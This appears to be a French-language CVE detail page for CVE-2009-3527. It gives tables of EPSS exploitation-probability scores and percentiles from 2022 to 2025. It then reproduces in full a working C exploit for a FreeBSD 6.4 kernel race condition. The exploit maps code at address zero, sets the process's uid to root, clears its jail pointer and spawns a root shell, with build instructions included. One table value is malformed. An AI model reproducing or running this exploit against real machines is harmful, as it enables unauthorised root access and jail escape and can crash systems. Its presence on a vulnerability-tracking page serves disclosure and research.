CVE-2009-3527 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-11	–	–	–	0.05%	–
2024-02-25	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-04-21	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-07-28	–	–	–	0.05%	–
2024-08-11	–	–	–	0.05%	–
2024-09-22	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.09%
2025-03-30	–	–	–	–	0.07%
2025-04-06	–	–	–	–	0.07%
2025-04-14	–	–	–	–	0.07%
2025-04-15	–	–	–	–	0.07%
2025-04-15	–	–	–	–	0.07,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-11	12%
2024-02-25	13%
2024-03-31	14%
2024-04-21	14%
2024-06-02	16%
2024-07-28	16%
2024-08-11	17%
2024-09-22	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	22%
2025-03-30	18%
2025-04-06	19%
2025-04-14	18%
2025-04-15	22%
2025-04-15	22%

#if 0 FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and knlist_cleardel() resulting in NULL pointer dereference. The following code exploits vulnerability to run code in kernel mode, giving root shell and escaping from jail. #endif /* 29.08.2009, babcia padlina * FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition * * works only on multiprocessor systems * gcc -o padlina2 padlina2.c -lpthread */ #define _KERNEL #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/event.h> #include <sys/timespec.h> #include <pthread.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/linker.h> #include <sys/proc.h> int fd[2], kq; struct kevent kev, ke[2]; struct timespec timeout; volatile int gotroot = 0; static void kernel_code(void) { struct thread *thread; gotroot = 1; asm( "movl %%fs:0, %0" : "=r"(thread) ); thread->td_proc->p_ucred->cr_uid = 0; thread->td_proc->p_ucred->cr_prison = NULL; return; } static void code_end(void) { return; } void do_thread(void) { while (!gotroot) { if (pipe(fd) < 0) perror("pipe"); memset(&kev, 0, sizeof(kev)); EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL); EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL); if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0) perror("kevent"); close(fd[0]); close(fd[1]); } return; } void do_thread2(void) { usleep(100); while(!gotroot) { close(fd[0]); close(fd[1]); } return; } int main(void) { int i; pthread_t pth, pth2; if (!getuid() || !geteuid()) { printf("already root.\n"); exit(-1); } printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n" "may cause kernel memory corruption leading to system crash.\n" "it is also possible, that exploit will hang and such process\n" "will be unkillable. hit enter if you want to continue.\n"); getchar(); /* safe landing place for 6.4-RELEASE - it protects us from page fault due to invalid read */ if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) { perror("mmap"); exit(-1); } if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) { perror("mmap"); exit(-1); } memcpy(0, &kernel_code, &code_end - &kernel_code); if ((kq = kqueue()) < 0) { perror("kqueue"); exit(-1); } pthread_create(&pth, NULL, (void *)do_thread, NULL); pthread_create(&pth2, NULL, (void *)do_thread2, NULL); timeout.tv_sec = 0; timeout.tv_nsec = 1; printf("waiting for root... it should take no more than few seconds.\n" "otherwise, run exploit again.\n"); i = 0; while (!gotroot && i++ < 4000) usleep(100); setuid(0); if (getuid()) { printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n"); exit(-1); } execl("/bin/sh", "sh", NULL); return 0; }